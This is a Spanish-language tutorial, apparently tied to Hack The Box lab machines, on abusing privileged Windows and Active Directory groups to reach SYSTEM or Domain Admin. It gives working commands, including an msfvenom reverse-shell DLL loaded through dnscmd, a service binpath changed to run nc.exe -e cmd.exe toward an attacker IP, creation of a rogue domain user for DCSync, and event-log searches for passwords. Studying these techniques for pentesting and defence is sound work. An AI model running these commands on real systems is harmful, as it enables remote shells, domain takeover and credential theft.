Grupos privilegiados de Windows: DnsAdmins, Server Operators y más
Escalar privilegios en Windows y Active Directory abusando de grupos: DnsAdmins, Server Operators, Account Operators, Print Operators, AD Recycle Bin, Azure Admins y Event Log Readers.
En Windows, muchos grupos que suenan a "ayudante" dan en realidad un camino directo a SYSTEM o a Domain Admin. Microsoft recomienda dejar vacíos varios de ellos y tratarlos casi como administradores, pero en la práctica se reparten a cuentas de servicio y técnicos. En Hack The Box son una escalada muy habitual: entras con un usuario, miras sus grupos y uno de ellos es la llave.
Esta guía va grupo por grupo: cómo saber si estás en él, el comando exacto para abusarlo y qué máquina retirada lo usa.
Requisitos
- Una shell en la víctima como el usuario con el grupo, normalmente con Evil-WinRM.
- En tu máquina, Impacket (
smbserver) ymsfvenompara preparar DLL y ejecutables. - Para practicar: Resolute (DnsAdmins), Forest (Account Operators), Cascade (AD Recycle Bin) y Monteverde (Azure Admins).
Paso 1: en qué grupos estás
Desde la shell:
whoami /groups
net user ryan /domain
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
MEGABANK\Contractors Group S-1-5-21-... Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-... Mandatory group, Enabled by default, Enabled group, Local Group
whoami /groups enseña también los grupos anidados (aquí, ryan está en Contractors y Contractors en DnsAdmins), que net user no muestra. En BloodHound, la pestaña Group Membership del usuario los resume.
La tabla rápida
| Grupo | Qué te da | Cómo se abusa |
|---|---|---|
| DnsAdmins | Cargar una DLL en el servicio DNS | DLL propia en ServerLevelPluginDll y reiniciar DNS (SYSTEM en el DC) |
| Server Operators | Configurar y reiniciar servicios | Cambiar el binPath de un servicio que corre como SYSTEM |
| Account Operators | Crear y modificar usuarios y grupos no protegidos | Crear un usuario y meterlo en un grupo con permisos peligrosos |
| Backup Operators | SeBackupPrivilege y SeRestorePrivilege |
Copiar SAM, SYSTEM o ntds.dit |
| Print Operators | SeLoadDriverPrivilege |
Cargar un driver vulnerable |
| AD Recycle Bin | Leer objetos borrados del dominio | Buscar atributos con contraseñas en cuentas borradas |
| Azure Admins / ADSync | Leer la base de datos de Azure AD Connect | Descifrar la contraseña de la cuenta de sincronización |
| Event Log Readers | Leer el registro de seguridad | Buscar contraseñas en líneas de comandos registradas |
| Remote Management Users | WinRM | Solo acceso, no escalada: evil-winrm |
DnsAdmins
Los miembros de DnsAdmins pueden decirle al servicio DNS que cargue una DLL al arrancar. El servicio corre como SYSTEM, y en AD suele estar en el propio controlador de dominio.
Prepara la DLL y sírvela por SMB desde tu máquina:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o pwn.dll
impacket-smbserver share . -smb2support
En la víctima:
dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\pwn.dll
sc.exe stop dns
sc.exe start dns
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
Con nc -lvnp 443 escuchando, al arrancar el servicio recibes una shell como nt authority\system. Es la escalada de Resolute.
Cuidado
La DLL de msfvenom no exporta las funciones que DNS espera, así que el servicio se queda colgado: en un entorno real dejas el dominio sin DNS. Al terminar, borra la clave con reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f y reinicia el servicio.
Server Operators
Pueden modificar y reiniciar servicios del sistema. Cambia la ruta del ejecutable de uno que corra como SYSTEM:
upload nc.exe
sc.exe config VSS binpath="C:\Users\svc\Documents\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop VSS
sc.exe start VSS
[SC] ChangeServiceConfig SUCCESS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
El FAILED 1053 es normal: nc.exe no es un servicio de verdad y Windows lo mata a los 30 segundos, pero la shell ya ha llegado. Si quieres algo que no muera, usa como comando net localgroup administrators svc /add y vuelve a entrar.
Account Operators
Pueden crear usuarios y meterlos en casi cualquier grupo que no sea de administración. En Forest el usuario está en Account Operators por anidamiento, y el grupo útil es Exchange Windows Permissions, que tiene WriteDacl sobre el dominio:
net user pwn Password123! /add /domain
net group "Exchange Windows Permissions" pwn /add
Desde ahí te das permisos de DCSync y vuelcas los hashes, como explica la guía de DCSync y Golden Ticket.
Backup Operators y SeBackupPrivilege
Estos miembros pueden leer cualquier fichero saltándose los permisos, para hacer copias. Eso incluye las colmenas SAM y SYSTEM y, en un DC, la base de datos ntds.dit. El procedimiento con reg save, diskshadow y robocopy /b está en volcado de credenciales en Windows, y lo practicas en Blackfield.
Print Operators
Tienen SeLoadDriverPrivilege: pueden cargar un driver del núcleo. La técnica clásica es cargar Capcom.sys, un driver firmado con un fallo que ejecuta código como SYSTEM, con las herramientas EoPLoadDriver y ExploitCapcom. Es la escalada de Fuse. En Windows 10 1803 y posteriores ya no se puede cargar un driver desde una ruta del registro del usuario, así que solo funciona en sistemas antiguos.
AD Recycle Bin
Este grupo puede leer los objetos borrados del dominio, que conservan muchos de sus atributos. Busca cuentas borradas:
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * |
Select-Object Name,sAMAccountName,cascadeLegacyPwd,Description
En Cascade la cuenta borrada TempAdmin tiene un atributo cascadeLegacyPwd en Base64. Decodificado (echo '...' | base64 -d), es la contraseña del administrador.
Azure Admins y Azure AD Connect
Si el servidor tiene Azure AD Connect (busca C:\Program Files\Microsoft Azure AD Sync), su base de datos guarda cifrada la contraseña de la cuenta que sincroniza con Azure, que suele tener permisos de DCSync. Los miembros de Azure Admins o ADSyncAdmins pueden leerla y descifrarla con scripts públicos como el de Adam Chester (xpn) o AdDecrypt. En Monteverde devuelve directamente la contraseña del administrador.
Event Log Readers
Pueden leer el registro de Seguridad. Si está activada la auditoría de creación de procesos con línea de comandos (evento 4688), es fácil encontrar contraseñas pasadas como argumento:
wevtutil qe Security /rd:true /f:text /q:"*[System[(EventID=4688)]]" | findstr /i "/user pass"
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
Where-Object { $_.Message -match 'pass|/user' } | Select-Object -First 20 -ExpandProperty Message
Errores típicos
sc configno hace nada en PowerShell:sces un alias deSet-Contenty te crea un fichero llamadoconfig. Usa siempresc.exe.- Te añades a un grupo y no cambia nada: los grupos se cargan al iniciar sesión. Cierra la sesión de Evil-WinRM y vuelve a entrar, o pide un ticket nuevo.
dnscmdrespondeERROR_ACCESS_DENIED: no estás en DnsAdmins (o no en un grupo anidado que lo esté). Revisawhoami /groups.sc.exe stop dnsdaAccess is denied: DnsAdmins no siempre puede reiniciar el servicio. En HTB sí; en un entorno real a veces hay que esperar a que reinicie el servidor.- La DLL o el ejecutable desaparecen al subirlos: Defender los ha borrado. Cambia de payload o compila el tuyo (ver evasión de EDR).
Y después
Los privilegios del token (SeImpersonate, SeDebug...) son otra cosa distinta de los grupos: están en SeImpersonate y potatoes. Tienes el punto de grupos privilegiados en la checklist de Active Directory y en la de post-explotación.